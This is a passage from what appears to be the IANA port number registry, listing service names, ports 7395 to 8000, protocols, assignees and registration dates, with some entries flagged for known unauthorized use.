winqedit           7395        udp    winqedit                     [David_Greer]                                         [David_Greer]
                   7396               Unassigned
hexarc             7397        tcp    Hexarc Command Language      [George_Moromisato]                                   [George_Moromisato]                                       2004-11
hexarc             7397        udp    Hexarc Command Language      [George_Moromisato]                                   [George_Moromisato]                                       2004-11
                 7398-7399            Unassigned
rtps-discovery     7400        tcp    RTPS Discovery               [Gerardo_Pardo_Castel]                                [Gerardo_Pardo_Castel]                                    2005-10
rtps-discovery     7400        udp    RTPS Discovery               [Gerardo_Pardo_Castel]                                [Gerardo_Pardo_Castel]                                    2005-10
rtps-dd-ut         7401        tcp    RTPS Data-Distribution       [Gerardo_Pardo_Castel]                                [Gerardo_Pardo_Castel]                                    2005-10
                                      User-Traffic
rtps-dd-ut         7401        udp    RTPS Data-Distribution       [Gerardo_Pardo_Castel]                                [Gerardo_Pardo_Castel]                                    2005-10
                                      User-Traffic
rtps-dd-mt         7402        tcp    RTPS Data-Distribution       [Gerardo_Pardo_Castel]                                [Gerardo_Pardo_Castel]                                    2005-10
                                      Meta-Traffic
rtps-dd-mt         7402        udp    RTPS Data-Distribution       [Gerardo_Pardo_Castel]                                [Gerardo_Pardo_Castel]                                    2005-10
                                      Meta-Traffic
                 7403-7409            Unassigned
ionixnetmon        7410        tcp    Ionix Network Monitor        [Maxime_Renaud]                                       [Maxime_Renaud]                                           2006-04
ionixnetmon        7410        udp    Ionix Network Monitor        [Maxime_Renaud]                                       [Maxime_Renaud]                                           2006-04
daqstream          7411        tcp    Streaming of measurement     [Hottinger_Baldwin_Messtechnik_GmbH]                  [Stephan_Gatzka]                                          2013-03-15
                                      data
daqstream          7411        udp    Streaming of measurement     [Hottinger_Baldwin_Messtechnik_GmbH]                  [Stephan_Gatzka]                                          2013-03-15
                                      data
                 7412-7419            Unassigned
                   7420        tcp    Reserved
ipluminary         7420        udp    Multichannel real-time       [Tristan_Seifert_3]                                   [Tristan_Seifert_3]                                       2018-01-18
                                      lighting control
mtportmon          7421        tcp    Matisse Port Monitor         [Didier_Cabannes]                                     [Didier_Cabannes]                                         2004-11
mtportmon          7421        udp    Matisse Port Monitor         [Didier_Cabannes]                                     [Didier_Cabannes]                                         2004-11
                 7422-7425            Unassigned
pmdmgr             7426        tcp    OpenView DM Postmaster       [Dave_Lamb]                                           [Dave_Lamb]
                                      Manager
pmdmgr             7426        udp    OpenView DM Postmaster       [Dave_Lamb]                                           [Dave_Lamb]
                                      Manager
oveadmgr           7427        tcp    OpenView DM Event Agent      [Dave_Lamb]                                           [Dave_Lamb]
                                      Manager
oveadmgr           7427        udp    OpenView DM Event Agent      [Dave_Lamb]                                           [Dave_Lamb]
                                      Manager
ovladmgr           7428        tcp    OpenView DM Log Agent        [Dave_Lamb]                                           [Dave_Lamb]
                                      Manager
ovladmgr           7428        udp    OpenView DM Log Agent        [Dave_Lamb]                                           [Dave_Lamb]
                                      Manager
opi-sock           7429        tcp    OpenView DM rqt              [Dave_Lamb]                                           [Dave_Lamb]
                                      communication
opi-sock           7429        udp    OpenView DM rqt              [Dave_Lamb]                                           [Dave_Lamb]
                                      communication
xmpv7              7430        tcp    OpenView DM xmpv7 api pipe   [Dave_Lamb]                                           [Dave_Lamb]
xmpv7              7430        udp    OpenView DM xmpv7 api pipe   [Dave_Lamb]                                           [Dave_Lamb]
pmd                7431        tcp    OpenView DM ovc/xmpv3 api    [Dave_Lamb]                                           [Dave_Lamb]
                                      pipe
pmd                7431        udp    OpenView DM ovc/xmpv3 api    [Dave_Lamb]                                           [Dave_Lamb]
                                      pipe
                 7432-7436            Unassigned
faximum            7437        tcp    Faximum                      [George_Pajari]                                       [George_Pajari]
faximum            7437        udp    Faximum                      [George_Pajari]                                       [George_Pajari]
                 7438-7442            Unassigned
oracleas-https     7443        tcp    Oracle Application Server    [David_McMarlin]                                      [David_McMarlin]                                          2006-08
                                      HTTPS
oracleas-https     7443        udp    Oracle Application Server    [David_McMarlin]                                      [David_McMarlin]                                          2006-08
                                      HTTPS
                 7444-7470            Unassigned
sttunnel           7471        tcp    Stateless Transport          [Bruce_Davie_3]                                       [Bruce_Davie_3]                                           2014-04-28
                                      Tunneling Protocol
                   7471        udp    Reserved
                   7472               Unassigned
rise               7473        tcp    Rise: The Vieneo Province    [Jason_Reskin]                                        [Jason_Reskin]                                            2007-03
rise               7473        udp    Rise: The Vieneo Province    [Jason_Reskin]                                        [Jason_Reskin]                                            2007-03
neo4j              7474        tcp    Neo4j Graph Database         [Neo_Technology_Inc]                                  [Julian_Simpson]                                          2013-02-08
                   7474        udp    Reserved
                 7475-7477            Unassigned
openit             7478        tcp    IT Asset Management          [OpeniT_Inc]                                          [Monette_Maano]                                           2016-11-17
                   7478        udp    Reserved
                 7479-7490            Unassigned
telops-lmd         7491        tcp    telops-lmd                   [David_Spencer]                                       [David_Spencer]
telops-lmd         7491        udp    telops-lmd                   [David_Spencer]                                       [David_Spencer]
                                                                                                                                                                                                                                                                     Known
                 7492-7499            Unassigned                                                                                                                                                                                                                     Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7499
silhouette         7500        tcp    Silhouette User              [Anthony_Payne]                                       [Anthony_Payne]                                           2004-02
silhouette         7500        udp    Silhouette User              [Anthony_Payne]                                       [Anthony_Payne]                                           2004-02
                                                                                                                                                                                                                                                                     Known
ovbus              7501        tcp    HP OpenView Bus Daemon       [David_M_Rhodes]                                      [David_M_Rhodes]                                                                                                                            Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7501
                                                                                                                                                                                                                                                                     Known
ovbus              7501        udp    HP OpenView Bus Daemon       [David_M_Rhodes]                                      [David_M_Rhodes]                                                                                                                            Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7501
                 7502-7507            Unassigned
adcp               7508        tcp    Automation Device            [Festo_AG]                                            [Joerg_Ullmann]                                           2011-05-27   2012-07-26
                                      Configuration Protocol
                   7508        udp    Reserved
acplt              7509        tcp    ACPLT - process automation   [Chair_for_Process_Control_Engineering]               [Ulrich_Epple]                                            2010-12-07   2012-08-07
                                      service
                   7509        udp    Reserved
ovhpas             7510        tcp    HP OpenView Application      [Jeff_Conrad]                                         [Jeff_Conrad]
                                      Server
ovhpas             7510        udp    HP OpenView Application      [Jeff_Conrad]                                         [Jeff_Conrad]
                                      Server
pafec-lm           7511        tcp    pafec-lm                     [Billy_Dhillon]                                       [Billy_Dhillon]
pafec-lm           7511        udp    pafec-lm                     [Billy_Dhillon]                                       [Billy_Dhillon]
                 7512-7541            Unassigned
saratoga           7542        tcp    Saratoga Transfer Protocol   [Lloyd_Wood]                                          [Lloyd_Wood]                                              2007-05
saratoga           7542        udp    Saratoga Transfer Protocol   [Lloyd_Wood]                                          [Lloyd_Wood]                                              2007-05
atul               7543        tcp    atul server                  [Mark_Stapp]                                          [Mark_Stapp]                                              2006-01
atul               7543        udp    atul server                  [Mark_Stapp]                                          [Mark_Stapp]                                              2006-01
nta-ds             7544        tcp    FlowAnalyzer DisplayServer   [Fred_Messinger]                                      [Fred_Messinger]
nta-ds             7544        udp    FlowAnalyzer DisplayServer   [Fred_Messinger]                                      [Fred_Messinger]
nta-us             7545        tcp    FlowAnalyzer UtilityServer   [Fred_Messinger]                                      [Fred_Messinger]
nta-us             7545        udp    FlowAnalyzer UtilityServer   [Fred_Messinger]                                      [Fred_Messinger]
cfs                7546        tcp    Cisco Fabric service         [Rituparna_Agrawal]                                   [Rituparna_Agrawal]                                       2005-09
cfs                7546        udp    Cisco Fabric service         [Rituparna_Agrawal]                                   [Rituparna_Agrawal]                                       2005-09
cwmp               7547        tcp    DSL Forum CWMP               [Anton_Okmianski]                                     [Anton_Okmianski]                                         2006-01
cwmp               7547        udp    DSL Forum CWMP               [Anton_Okmianski]                                     [Anton_Okmianski]                                         2006-01
tidp               7548        tcp    Threat Information           [Chui_Tin_Yen]                                        [Chui_Tin_Yen]                                            2006-02
                                      Distribution Protocol
tidp               7548        udp    Threat Information           [Chui_Tin_Yen]                                        [Chui_Tin_Yen]                                            2006-02
                                      Distribution Protocol
nls-tl             7549        tcp    Network Layer Signaling      [Melinda_Shore]                                       [Melinda_Shore]                                           2006-05
                                      Transport Layer
nls-tl             7549        udp    Network Layer Signaling      [Melinda_Shore]                                       [Melinda_Shore]                                           2006-05
                                      Transport Layer
                   7550        tcp    Reserved
cloudsignaling     7550        udp    Cloud Signaling Service      [Scott_Dawson]                                        [Scott_Dawson]                                            2011-07-01
controlone-con     7551        tcp    ControlONE Console signaling [BYNE]                                                [Andre_Nazario]                                           2014-11-07   2017-06-13
                   7551        udp    Reserved
                 7552-7559            Unassigned
sncp               7560        tcp    Sniffer Command Protocol     [Dominick_Cafarelli]                                  [Dominick_Cafarelli]                                      2005-08
sncp               7560        udp    Sniffer Command Protocol     [Dominick_Cafarelli]                                  [Dominick_Cafarelli]                                      2005-08
                 7561-7562            Unassigned
cfw                7563        tcp    Control Framework                                                                                                                                                      [RFC6230]
                   7563        udp    Reserved
                 7564-7565            Unassigned
vsi-omega          7566        tcp    VSI Omega                    [Curtis_Smith]                                        [Curtis_Smith]
vsi-omega          7566        udp    VSI Omega                    [Curtis_Smith]                                        [Curtis_Smith]
                 7567-7568            Unassigned
dell-eql-asm       7569        tcp    Dell EqualLogic Host Group   [James_E_King_III]                                    [James_E_King_III]
                                      Management
                   7569        udp    Reserved
aries-kfinder      7570        tcp    Aries Kfinder                [James_King_III]                                      [James_King_III]
aries-kfinder      7570        udp    Aries Kfinder                [James_King_III]                                      [James_King_III]
                 7571-7573            Unassigned
coherence          7574        tcp    Oracle Coherence Cluster     [Oracle_5]                                            [Mark_Falco]                                              2014-07-09
                                      Service
coherence-disc     7574        udp    Oracle Coherence Cluster     [Oracle_5]                                            [Mark_Falco]                                              2014-07-09
                                      discovery service
                 7575-7587            Unassigned
sun-lm             7588        tcp    Sun License Manager          [Sophie_Deng]                                         [Sophie_Deng]
sun-lm             7588        udp    Sun License Manager          [Sophie_Deng]                                         [Sophie_Deng]
                 7589-7605            Unassigned
mipi-debug         7606        tcp    MIPI Alliance Debug          [MIPI_Alliance]                                       [Peter_Lefkin]                                            2016-02-26
mipi-debug         7606        udp    MIPI Alliance Debug          [MIPI_Alliance]                                       [Peter_Lefkin]                                            2016-02-26
                 7607-7623            Unassigned
indi               7624        tcp    Instrument Neutral           [Elwood_Downey]                                       [Elwood_Downey]                                           2002-04
                                      Distributed Interface
indi               7624        udp    Instrument Neutral           [Elwood_Downey]                                       [Elwood_Downey]                                           2002-04
                                      Distributed Interface
                   7625               Unassigned
simco              7626        tcp    SImple Middlebox                                                                                                                                                       [RFC4540]
                                      COnfiguration (SIMCO) Server
                   7626        udp    De-registered                                                                                                                                2006-01-30
simco              7626       sctp    SImple Middlebox             [Sebastian_Kiesel]                                    [Sebastian_Kiesel]                                        2006-01
                                      COnfiguration (SIMCO)
soap-http          7627        tcp    SOAP Service Port            [Donald_Dylla]                                        [Donald_Dylla]                                            2004-12
soap-http          7627        udp    SOAP Service Port            [Donald_Dylla]                                        [Donald_Dylla]                                            2004-12
zen-pawn           7628        tcp    Primary Agent Work           [Ty_Ellis]                                            [Ty_Ellis]                                                2006-05
                                      Notification
zen-pawn           7628        udp    Primary Agent Work           [Ty_Ellis]                                            [Ty_Ellis]                                                2006-05
                                      Notification
xdas               7629        tcp    OpenXDAS Wire Protocol       [John_Calcote_2]                                      [John_Calcote_2]                                          2006-10
xdas               7629        udp    OpenXDAS Wire Protocol       [John_Calcote_2]                                      [John_Calcote_2]                                          2006-10
hawk               7630        tcp    HA Web Konsole               [Tim_Serong]                                          [Tim_Serong]                                              2010-03-31
                   7630        udp    Reserved
tesla-sys-msg      7631        tcp    TESLA System Messaging       [Andy_Perreault]                                      [Andy_Perreault]                                          2010-03-31
                   7631        udp    Reserved
                   7632               Unassigned
pmdfmgt            7633        tcp    PMDF Management              [Hunter_Goatley]                                      [Hunter_Goatley]
pmdfmgt            7633        udp    PMDF Management              [Hunter_Goatley]                                      [Hunter_Goatley]
                 7634-7647            Unassigned
cuseeme            7648        tcp    bonjour-cuseeme              [Marc_Manthey]                                        [Marc_Manthey]                                            2006-07
cuseeme            7648        udp    bonjour-cuseeme              [Marc_Manthey]                                        [Marc_Manthey]                                            2006-07
                 7649-7662            Unassigned
rome               7663        tcp    Proprietary immutable        [TFOR]                                                [David_von_Vistauxx]                                      2018-02-07
                                      distributed data storage
rome               7663        udp    Proprietary immutable        [TFOR]                                                [David_von_Vistauxx]                                      2018-02-07
                                      distributed data storage
                 7664-7671            Unassigned
imqstomp           7672        tcp    iMQ STOMP Server             [Amy_Kang]                                            [Amy_Kang]                                                2009-03-10
                   7672        udp    Reserved
imqstomps          7673        tcp    iMQ STOMP Server over SSL    [Amy_Kang]                                            [Amy_Kang]                                                2009-03-10
                   7673        udp    Reserved
imqtunnels         7674        tcp    iMQ SSL tunnel               [Shailesh_S_Bavadeka]                                 [Shailesh_S_Bavadeka]                                     2002-04
imqtunnels         7674        udp    iMQ SSL tunnel               [Shailesh_S_Bavadeka]                                 [Shailesh_S_Bavadeka]                                     2002-04
imqtunnel          7675        tcp    iMQ Tunnel                   [Shailesh_S_Bavadeka]                                 [Shailesh_S_Bavadeka]                                     2002-04
imqtunnel          7675        udp    iMQ Tunnel                   [Shailesh_S_Bavadeka]                                 [Shailesh_S_Bavadeka]                                     2002-04
imqbrokerd         7676        tcp    iMQ Broker Rendezvous        [Joseph_Di_Pol]                                       [Joseph_Di_Pol]                                           2002-04
imqbrokerd         7676        udp    iMQ Broker Rendezvous        [Joseph_Di_Pol]                                       [Joseph_Di_Pol]                                           2002-04
sun-user-https     7677        tcp    Sun App Server - HTTPS       [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
sun-user-https     7677        udp    Sun App Server - HTTPS       [Abhijit_Kumar]                                       [Abhijit_Kumar]                                           2005-11
                 7678-7679            Unassigned
pando-pub          7680        tcp    Pando Media Public           [Laird_Popkin]                                        [Laird_Popkin]                                            2008-02-27
                                      Distribution
pando-pub          7680        udp    Pando Media Public           [Laird_Popkin]                                        [Laird_Popkin]                                            2008-02-27
                                      Distribution
                 7681-7682            Unassigned
dmt                7683        tcp    Cleondris DMT                [Cleondris_GmbH]                                      [Christian_Plattner]                                      2015-03-31
                   7683        udp    Reserved
                 7684-7686            Unassigned
bolt               7687        tcp    Bolt database connection     [Neo_Technology_Inc]                                  [Julian_Simpson]                                          2016-09-29
                   7687        udp    Reserved
                   7688               Unassigned
collaber           7689        tcp    Collaber Network Service     [Rajesh_Akkineni]                                     [Rajesh_Akkineni]                                         2007-01
collaber           7689        udp    Collaber Network Service     [Rajesh_Akkineni]                                     [Rajesh_Akkineni]                                         2007-01
                 7690-7696            Unassigned
klio               7697        tcp    KLIO communications          [Helmut_Giritzer_2]                                   [Helmut_Giritzer_2]                                       2005-08
klio               7697        udp    KLIO communications          [Helmut_Giritzer_2]                                   [Helmut_Giritzer_2]                                       2005-08
                 7698-7699            Unassigned
em7-secom          7700        tcp    EM7 Secure Communications    [Christopher_Cordray]                                 [Christopher_Cordray]                                     2008-06-05
                   7700        udp    Reserved
                   7701        tcp    Reserved
                   7701        udp    Reserved
nfapi              7701       sctp    SCF nFAPI defining MAC/PHY   [Small_Cell_Forum]                                    [Richard_Kennedy]                                         2017-01-24
                                      split
                 7702-7706            Unassigned
sync-em7           7707        tcp    EM7 Dynamic Updates          [Christopher_Cordray]                                 [Christopher_Cordray]                                     2004-11
sync-em7           7707        udp    EM7 Dynamic Updates          [Christopher_Cordray]                                 [Christopher_Cordray]                                     2004-11
scinet             7708        tcp    scientia.net                 [Christoph_Anton_Mitt]                                [Christoph_Anton_Mitt]                                    2006-01
scinet             7708        udp    scientia.net                 [Christoph_Anton_Mitt]                                [Christoph_Anton_Mitt]                                    2006-01
                 7709-7719            Unassigned
medimageportal     7720        tcp    MedImage Portal              [Robert_Helton]                                       [Robert_Helton]                                           2003-10
medimageportal     7720        udp    MedImage Portal              [Robert_Helton]                                       [Robert_Helton]                                           2003-10
                 7721-7723            Unassigned
nsdeepfreezectl    7724        tcp    Novell Snap-in Deep Freeze   [David_Crowe]                                         [David_Crowe]                                             2008-01-07
                                      Control
nsdeepfreezectl    7724        udp    Novell Snap-in Deep Freeze   [David_Crowe]                                         [David_Crowe]                                             2008-01-07
                                      Control
nitrogen           7725        tcp    Nitrogen Service             [Randy_Lomnes]                                        [Randy_Lomnes]                                            2004-11
nitrogen           7725        udp    Nitrogen Service             [Randy_Lomnes]                                        [Randy_Lomnes]                                            2004-11
freezexservice     7726        tcp    FreezeX Console Service      [David_Crowe]                                         [David_Crowe]                                             2005-06
freezexservice     7726        udp    FreezeX Console Service      [David_Crowe]                                         [David_Crowe]                                             2005-06
trident-data       7727        tcp    Trident Systems Data         [Jeremy_McClintock]                                   [Jeremy_McClintock]                                       2005-08
trident-data       7727        udp    Trident Systems Data         [Jeremy_McClintock]                                   [Jeremy_McClintock]                                       2005-08
osvr               7728        tcp    Open-Source Virtual Reality  [Open_Source_Virtual_Reality_OSVR.com]                [Yuval_Boger_2]                                           2015-07-14
osvr               7728        udp    Open-Source Virtual Reality  [Open_Source_Virtual_Reality_OSVR.com]                [Yuval_Boger_2]                                           2015-07-14
osvr               7728       sctp    Open-Source Virtual Reality  [Open_Source_Virtual_Reality_OSVR.com]                [Yuval_Boger_2]                                           2015-07-14
                 7729-7733            Unassigned
smip               7734        tcp    Smith Protocol over IP       [Jim_Pettinato]                                       [Jim_Pettinato]                                           2007-04
smip               7734        udp    Smith Protocol over IP       [Jim_Pettinato]                                       [Jim_Pettinato]                                           2007-04
                 7735-7737            Unassigned
aiagent            7738        tcp    HP Enterprise Discovery      [Matthew_Darwin]                                      [Matthew_Darwin]                                          2005-08
                                      Agent
aiagent            7738        udp    HP Enterprise Discovery      [Matthew_Darwin]                                      [Matthew_Darwin]                                          2005-08
                                      Agent
                 7739-7740            Unassigned
scriptview         7741        tcp    ScriptView Network           [Reinhard_Wolf]                                       [Reinhard_Wolf]                                           2010-08-19
scriptview         7741        udp    ScriptView Network           [Reinhard_Wolf]                                       [Reinhard_Wolf]                                           2010-08-19
msss               7742        tcp    Mugginsoft Script Server     [Jonathan_Mitchell]                                   [Jonathan_Mitchell]                                       2008-09-08
                                      Service
                   7742        udp    Reserved
sstp-1             7743        tcp    Sakura Script Transfer       [Kouichi_Takeda]                                      [Kouichi_Takeda]
                                      Protocol
sstp-1             7743        udp    Sakura Script Transfer       [Kouichi_Takeda]                                      [Kouichi_Takeda]
                                      Protocol
raqmon-pdu         7744        tcp    RAQMON PDU                                                                                                                                                             [RFC4712]
raqmon-pdu         7744        udp    RAQMON PDU                                                                                                                                                             [RFC4712]
                 7745-7746            Unassigned
prgp               7747        tcp    Put/Run/Get Protocol         [Jayasooriah]                                         [Jayasooriah]                                             2008-02-22
prgp               7747        udp    Put/Run/Get Protocol         [Jayasooriah]                                         [Jayasooriah]                                             2008-02-22
                 7748-7776            Unassigned
inetfs             7775        tcp    A File System using TLS over [Roger_Allan]                                         [Roger_Allan]                                             2016-01-28
                                      a wide area network
                   7775        udp    Reserved
                   7776               Unassigned
                                                                                                                                                                                                                                                                     Known
cbt                7777        tcp    cbt                          [Tony_Ballardie]                                      [Tony_Ballardie]                                                                                                                            Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7777
                                                                                                                                                                                                                                                                     Known
cbt                7777        udp    cbt                          [Tony_Ballardie]                                      [Tony_Ballardie]                                                                                                                            Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7777
interwise          7778        tcp    Interwise                    [Joseph_Gray]                                         [Joseph_Gray]
interwise          7778        udp    Interwise                    [Joseph_Gray]                                         [Joseph_Gray]
vstat              7779        tcp    VSTAT                        [Vinh_Nguyn]                                          [Vinh_Nguyn]
vstat              7779        udp    VSTAT                        [Vinh_Nguyn]                                          [Vinh_Nguyn]
                   7780               Unassigned
accu-lmgr          7781        tcp    accu-lmgr                    [Moises_E_Hernandez]                                  [Moises_E_Hernandez]
accu-lmgr          7781        udp    accu-lmgr                    [Moises_E_Hernandez]                                  [Moises_E_Hernandez]
                 7782-7783            Unassigned
s-bfd              7784        udp    Seamless Bidirectional       [IESG]                                                [IETF_Chair]                                              2014-12-24   2016-07-14   [RFC7881]
                                      Forwarding Detection (S-BFD)
                   7784        tcp    Reserved
                                                                                                                                                                                                                                                                     Known
                   7785               Unassigned                                                                                                                                                                                                                     Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7785
                                                                                                                                                                                                                                                                     Known
minivend           7786        tcp    MINIVEND                     [Mike_Heins]                                          [Mike_Heins]                                                                                                                                Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7786
                                                                                                                                                                                                                                                                     Known
minivend           7786        udp    MINIVEND                     [Mike_Heins]                                          [Mike_Heins]                                                                                                                                Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7786
                                                                                                                                                                                                                                                                     Known
popup-reminders    7787        tcp    Popup Reminders Receive      [Robert_Harvey]                                       [Robert_Harvey]                                           2006-01                                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7787
                                                                                                                                                                                                                                                                     Known
popup-reminders    7787        udp    Popup Reminders Receive      [Robert_Harvey]                                       [Robert_Harvey]                                           2006-01                                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7787
                                                                                                                                                                                                                                                                     Known
                   7788               Unassigned                                                                                                                                                                                                                     Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7788
                                                                                                                                                                                                                                                                     Known
office-tools       7789        tcp    Office Tools Pro Receive     [Robert_Harvey]                                       [Robert_Harvey]                                           2006-01                                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7789
                                                                                                                                                                                                                                                                     Known
office-tools       7789        udp    Office Tools Pro Receive     [Robert_Harvey]                                       [Robert_Harvey]                                           2006-01                                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     7789
                 7790-7793            Unassigned
q3ade              7794        tcp    Q3ADE Cluster Service        [Uffe_Harksen]                                        [Uffe_Harksen]                                            2005-08
q3ade              7794        udp    Q3ADE Cluster Service        [Uffe_Harksen]                                        [Uffe_Harksen]                                            2005-08
                 7795-7796            Unassigned
pnet-conn          7797        tcp    Propel Connector port
pnet-conn          7797        udp    Propel Connector port
pnet-enc           7798        tcp    Propel Encoder port          [Leif_Hedstrom]                                       [Leif_Hedstrom]                                           2002-04
pnet-enc           7798        udp    Propel Encoder port          [Leif_Hedstrom]                                       [Leif_Hedstrom]                                           2002-04
altbsdp            7799        tcp    Alternate BSDP Service       [Dieter_Siegmund]                                     [Dieter_Siegmund]                                         2007-10-22
altbsdp            7799        udp    Alternate BSDP Service       [Dieter_Siegmund]                                     [Dieter_Siegmund]                                         2007-10-22
asr                7800        tcp    Apple Software Restore       [Jim_Kateley][Shantonu_Sen]                           [Jim_Kateley][Shantonu_Sen]                               2006-01                                                                                        Defined TXT keys: image=<HTTP URL of disk image>
asr                7800        udp    Apple Software Restore       [Jim_Kateley][Shantonu_Sen]                           [Jim_Kateley][Shantonu_Sen]                               2006-01                                                                                        Defined TXT keys: image=<HTTP URL of disk image>
ssp-client         7801        tcp    Secure Server Protocol -     [Rick_Macchio]                                        [Rick_Macchio]                                            2006-11
                                      client
ssp-client         7801        udp    Secure Server Protocol -     [Rick_Macchio]                                        [Rick_Macchio]                                            2006-11
                                      client
vns-tp             7802        udp    Virtualized Network Services [Juniper_Networks]                                    [Bruno_Rijsman]                                           2013-02-01
                                      Tunnel Protocol
                   7802        tcp    Reserved
                 7803-7809            Unassigned
rbt-wanopt         7810        tcp    Riverbed WAN Optimization    [Vladimir_Legalov_2]                                  [Vladimir_Legalov_2]                                      2007-09-04
                                      Protocol
rbt-wanopt         7810        udp    Riverbed WAN Optimization    [Vladimir_Legalov_2]                                  [Vladimir_Legalov_2]                                      2007-09-04
                                      Protocol
                 7811-7844            Unassigned
apc-7845           7845        tcp    APC 7845                     [American_Power_Conve]                                [American_Power_Conve]
apc-7845           7845        udp    APC 7845                     [American_Power_Conve]                                [American_Power_Conve]
apc-7846           7846        tcp    APC 7846                     [American_Power_Conve]                                [American_Power_Conve]
apc-7846           7846        udp    APC 7846                     [American_Power_Conve]                                [American_Power_Conve]
csoauth            7847        tcp    A product key authentication [Jeff_Wamsley]                                        [Jacob_Kiesel]                                            2013-09-04
                                      protocol made by CSO
                   7847        udp    Reserved
                 7848-7868            Unassigned
mobileanalyzer     7869        tcp    MobileAnalyzer&              [Jonas_Gyllensvaan]                                   [Jonas_Gyllensvaan]                                       2009-04-27
                                      MobileMonitor
                   7869        udp    Reserved
rbt-smc            7870        tcp    Riverbed Steelhead Mobile    [Gabriel_Levy]                                        [Gabriel_Levy]                                            2008-08-29
                                      Service
                   7870        udp    Reserved
mdm                7871        tcp    Mobile Device Management     [Dan_Harkins]                                         [Dan_Harkins]                                             2011-08-15
                   7871        udp    Reserved
                   7872        tcp    Reserved
mipv6tls           7872        udp    TLS-based Mobile IPv6        [IESG]                                                [IETF_Chair]                                              2012-04-12                [RFC6618]
                                      Security
                 7873-7877            Unassigned
owms               7878        tcp    Opswise Message Service      [Stonebranch_Inc]                                     [Nathan_Hammond_2]                                        2013-06-25
                   7878        udp    Reserved
                   7879               Unassigned
pss                7880        tcp    Pearson                      [Pearson]                                             [Pearson]                                                 2008-01-17
pss                7880        udp    Pearson                      [Pearson]                                             [Pearson]                                                 2008-01-17
                 7881-7886            Unassigned
ubroker            7887        tcp    Universal Broker             [Nathan_Hammond]                                      [Nathan_Hammond]                                          2005-10
ubroker            7887        udp    Universal Broker             [Nathan_Hammond]                                      [Nathan_Hammond]                                          2005-10
                 7888-7899            Unassigned
mevent             7900        tcp    Multicast Event              [YoonSoo_Kim]                                         [YoonSoo_Kim]                                             2006-05
mevent             7900        udp    Multicast Event              [YoonSoo_Kim]                                         [YoonSoo_Kim]                                             2006-05
tnos-sp            7901        tcp    TNOS Service Protocol        [Rene_Kurt]                                           [Rene_Kurt]                                               2005-08
tnos-sp            7901        udp    TNOS Service Protocol        [Rene_Kurt]                                           [Rene_Kurt]                                               2005-08
tnos-dp            7902        tcp    TNOS shell Protocol          [Rene_Kurt]                                           [Rene_Kurt]                                               2005-08
tnos-dp            7902        udp    TNOS shell Protocol          [Rene_Kurt]                                           [Rene_Kurt]                                               2005-08
tnos-dps           7903        tcp    TNOS Secure DiaguardProtocol [Rene_Kurt]                                           [Rene_Kurt]                                               2005-08
tnos-dps           7903        udp    TNOS Secure DiaguardProtocol [Rene_Kurt]                                           [Rene_Kurt]                                               2005-08
                 7904-7912            Unassigned
qo-secure          7913        tcp    QuickObjects secure port     [Jonas_Bovin]                                         [Jonas_Bovin]
qo-secure          7913        udp    QuickObjects secure port     [Jonas_Bovin]                                         [Jonas_Bovin]
                 7914-7931            Unassigned
t2-drm             7932        tcp    Tier 2 Data Resource Manager [Peter_Carlson]                                       [Peter_Carlson]
t2-drm             7932        udp    Tier 2 Data Resource Manager [Peter_Carlson]                                       [Peter_Carlson]
t2-brm             7933        tcp    Tier 2 Business Rules        [Peter_Carlson]                                       [Peter_Carlson]
                                      Manager
t2-brm             7933        udp    Tier 2 Business Rules        [Peter_Carlson]                                       [Peter_Carlson]
                                      Manager
                 7934-7961            Unassigned
                                      Encrypted, extendable,
generalsync        7962        tcp    general-purpose              [Dirk_Steinmetz]                                      [Dirk_Steinmetz]                                          2014-04-17
                                      synchronization protocol
                                      Encrypted, extendable,
generalsync        7962        udp    general-purpose              [Dirk_Steinmetz]                                      [Dirk_Steinmetz]                                          2014-04-17
                                      synchronization protocol
                 7963-7966            Unassigned
supercell          7967        tcp    Supercell                    [Kevin_Nakagawa]                                      [Kevin_Nakagawa]
supercell          7967        udp    Supercell                    [Kevin_Nakagawa]                                      [Kevin_Nakagawa]
                 7968-7978            Unassigned
micromuse-ncps     7979        tcp    Micromuse-ncps               [Hing_Wing_To]                                        [Hing_Wing_To]
micromuse-ncps     7979        udp    Micromuse-ncps               [Hing_Wing_To]                                        [Hing_Wing_To]
quest-vista        7980        tcp    Quest Vista                  [Preston_Bannister]                                   [Preston_Bannister]
quest-vista        7980        udp    Quest Vista                  [Preston_Bannister]                                   [Preston_Bannister]
sossd-collect      7981        tcp    Spotlight on SQL Server      [Rob_Griffin_2]                                       [Rob_Griffin_2]                                           2010-08-30
                                      Desktop Collect
                   7981        udp    Reserved
sossd-agent        7982        tcp    Spotlight on SQL Server      [Rob_Griffin_2]                                       [Rob_Griffin_2]                                           2010-09-13
                                      Desktop Agent
sossd-disc         7982        udp    Spotlight on SQL Server      [Rob_Griffin_2]                                       [Rob_Griffin_2]                                           2010-09-13
                                      Desktop Agent Discovery
                 7983-7997            Unassigned
pushns             7997        tcp    PUSH Notification Service    [Tristan_Seifert]                                     [Tristan_Seifert]                                         2011-01-31
                   7997        udp    Reserved
                   7998        tcp    Reserved
usicontentpush     7998        udp    USI Content Push Service     [Prakash_Iyer]                                        [Prakash_Iyer]                                            2009-08-10
irdmi2             7999        tcp    iRDMI2
irdmi2             7999        udp    iRDMI2
irdmi              8000        tcp    iRDMI                        [Gil_Shafriri]                                        [Gil_Shafriri]
irdmi              8000        udp    iRDMI                        [Gil_Shafriri]                                        [Gil_Shafriri]
                                                                                                                                                                                                                                                                     Known
